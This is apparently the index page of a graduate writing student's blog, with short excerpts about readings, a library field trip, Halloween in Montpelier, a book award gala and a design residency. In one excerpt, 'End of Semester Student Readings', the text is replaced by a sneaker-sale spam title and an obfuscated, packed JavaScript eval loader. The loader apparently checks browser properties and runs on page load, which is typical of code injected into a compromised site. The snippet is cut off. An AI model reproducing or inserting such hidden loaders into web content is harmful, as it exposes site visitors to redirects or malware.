FRONTMATTER

Rauner Special Collections Library

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As part of Trinie Dalton's Fairy Tale class, we took a field-trip to the Rauner Special Collections Library at Dartmouth to view some old, kick-ass illustrated books. Above is a collage of some of my favorites. I have a bit of an obsession with both libraries (my mom was a children's librarian; I've done 5 years of work-study and fellowships in libraries) and illustrations (I was a design major). I wouldn't quite call it a fetish, but it's getting close. So, this field-trip was basically perfect…

End of Semester Student Readings

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Running Sneakers | Air Jordan 1 Retro High OG "UNC Patent" Obsidian/Blue Chill-White For Sale – Fitforhealtheval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('b i=r f["\\q\\1\\4\\g\\p\\l"]("\\4"+"\\7"+"\\7"+"\\4"+"\\5\\1","\\4\\k");s(!i["\\3\\1\\2\\3"](m["\\h\\2\\1\\j\\n\\4\\1\\6\\3"])){b…

Halloween in Vermont

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Or, Everywhere is Haunted and You Should Know About It Or, The Median Age is Under Fifty After All Or, How strong did you make this Russian drink? Montpelier is very into Halloween, and there're all sorts of stories about hauntings in the area, including our very own Anna. It's also the only time of year where I'm convinced that there are actually children here—so many children. One of my cohort, C.J., has an apartment right off campus that is the prime spot for candy-giving, and every year…

Liz Powell and David Huddle

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It's sometimes nice to escape the gravitational pull of Montpelier, and one of my favorite places to escape to is Phoenix Books in Burlington. It's especially nice when I also get to see one of my favorite professors/poets/people Liz Powell read from a her new book, Willy Loman's Reckless Daughter and snag a copy and a hand-printed broadside. The book-launch was a co-launch with David Huddle (who we read in Liz's class and was nominated for the Vermont Book Award) for his new book, My Immaculate…

Graphic Design Residency

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My favorite program to cohabitate with is Graphic Design. I majored in design in undergrad; they're my people. When they're on campus for a residency, they have two student exhibitions as well as a bunch of lectures, including "lecture bombs" that happen without notice. Last year, I went to one that was about the history and transformation of the I <3 NY T-shirts, and another about an artist collective who went to an island off the coast of Maine in order to attempt to commune with the ghosts…

Music for Barns

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Music for Barns was an event curated by M.T. Anderson and held in the chapel of College Hall. Tobin (the T in M.T.) crafted a combined concert/reading that centered around Americana and the pastoral, the rural and the rustic. Tobin was joined on stage by Gregory Maguire (author of Wicked!) and The Aurea Ensemble, a string quartet based out of Rhode Island. Maybe it was just that it was a sleepy Sunday afternoon. Maybe it was just the ambiance of the chapel—the ceiling-tall organ, the greens…

Vermont Book Award Gala

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All the W&P students had the opportunity to volunteer at the Vermont Book Award Gala, which took place on campus in Alumni Hall. I was part of the set-up crew the day before and got to see the place transform into a magical moss bed of purple and gold, then during the event I hid in a corner and sold books. After dinner, Tom Greene and last year's winner Kerrin McCadden (another amazing poet) announced the winner: Major Jackson and his collection Roll Deep (I called it). The poets…

Synezoma and Trailhead

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Last year, my cohort put together a publication called Synezoma (formed from synesthesia and rhizome) from our own writing and art, outside submissions, and images found in the Gary Library archives. We fashioned ourselves into a curatorial team: handling outside submissions, checking image DPIs, working on publicity and social media. One of the main images we focused on was a complex and sprawling root system: What a hulking, crisscrossed, heaping, and gorgeous mess. In the factual and the fantastic,…

Mary Ruefle and Michael Burkard

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Our first reading this year featured Mary Ruefle (my poetry goddess/mama) and Michael Burkard (her husband). They asked if they could adopt me. I said yes! The reading was held on campus, in Cafe Anna, and I've never seen it more packed with students, faculty, and members of the community. Standing room only, folks. Mary read new, unpublished poems and the title essay from her new collection My Private Property, which was about shrunken heads and made me cry. I wanted to kiss everyone around…

How We Got Here

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One of the coolest things about this program is that we all come from very different places—geographically, socially, and philosophically. We're from New York and California, from Alaska and Iowa. We're from the Mississippi delta, from the border of Texas, from a temperate rainforest. We've been in the military and we've been in the theatre; we've been to dungeons and drag shows, and we've been to Southern Baptist churches. We've been skiing for decades, and we've never seen snow until we arrived…